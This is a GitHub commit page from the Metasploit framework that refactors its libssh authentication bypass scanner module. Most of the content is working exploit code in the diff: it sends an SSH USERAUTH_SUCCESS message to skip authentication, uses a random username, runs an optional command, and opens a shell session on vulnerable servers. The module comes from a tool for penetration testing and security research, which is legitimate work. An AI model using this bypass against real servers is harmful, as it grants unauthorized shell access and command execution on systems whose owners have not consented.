Skip to content

Commit

Permalink
Refactor fortinet_backdoor copypasta
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Oct 19, 2018
1 parent 863ab34 commit 2139733
Show file tree
Hide file tree
Showing 2 changed files with 39 additions and 20 deletions.
2 changes: 2 additions & 0 deletions lib/msf/core/exploit/ssh/auth_methods.rb
Original file line number Diff line number Diff line change
Expand Up @@ -167,13 +167,15 @@ class Net::SSH::Authentication::Methods::LibsshAuthBypass < Net::SSH::Authentica
def authenticate(service_name, username, password = nil)
debug { 'Sending SSH_MSG_USERAUTH_SUCCESS' }

# USERAUTH_SUCCESS is OOB and elicits no reply
send_message(Net::SSH::Buffer.from(
=begin
byte SSH_MSG_USERAUTH_SUCCESS
=end
:byte, USERAUTH_SUCCESS
))

# So assume we succeeded until we can verify
true
end
end
Expand Down
57 changes: 37 additions & 20 deletions modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb
Original file line number Diff line number Diff line change
Expand Up @@ -14,11 +14,16 @@ def initialize(info = {})
super(update_info(info,
'Name' => 'libssh Authentication Bypass Scanner',
'Description' => %q{
"libssh versions 0.6 and above have an authentication bypass vulnerability in
the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message
in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect
to initiate authentication, the attacker could successfully authentciate [sic]
without any credentials."
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
machine's authenticated state being set.
Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
},
'Author' => [
'Peter Winter-Smith', # Discovery
Expand All @@ -34,7 +39,9 @@ def initialize(info = {})

register_options([
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'SSH username'])
OptString.new('CMD', [false, 'Command to execute']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
])

register_advanced_options([
Expand All @@ -60,6 +67,8 @@ def run_host(ip)

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

print_status("#{ip}:#{rport} - Attempting authentication bypass")

begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, username, ssh_opts)
Expand All @@ -71,39 +80,47 @@ def run_host(ip)

return unless ssh

print_good("#{ip}:#{rport} - Logged in as #{username}")

version = ssh.transport.server_version.version

# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER'] && !version.include?('libssh')
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return
end

report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)

shell = Net::SSH::CommandStream.new(ssh)
shell = Net::SSH::CommandStream.new(ssh, *config)

return unless shell
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1

info = "libssh Authentication Bypass (#{version})"

ds_merge = {
'USERNAME' => username
}

start_session(self, info, ds_merge, false, shell.lsock)
if shell.error
print_error("#{ip}:#{rport} - #{shell.error}")
return
end

# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
end

def rport
datastore['RPORT']
end

def username
datastore['USERNAME']
Rex::Text.rand_text_alphanumeric(8..42)
end

def config
[
datastore['CMD'],
pty: datastore['SPAWN_PTY']
]
end

end

0 comments on commit 2139733

Please sign in to comment.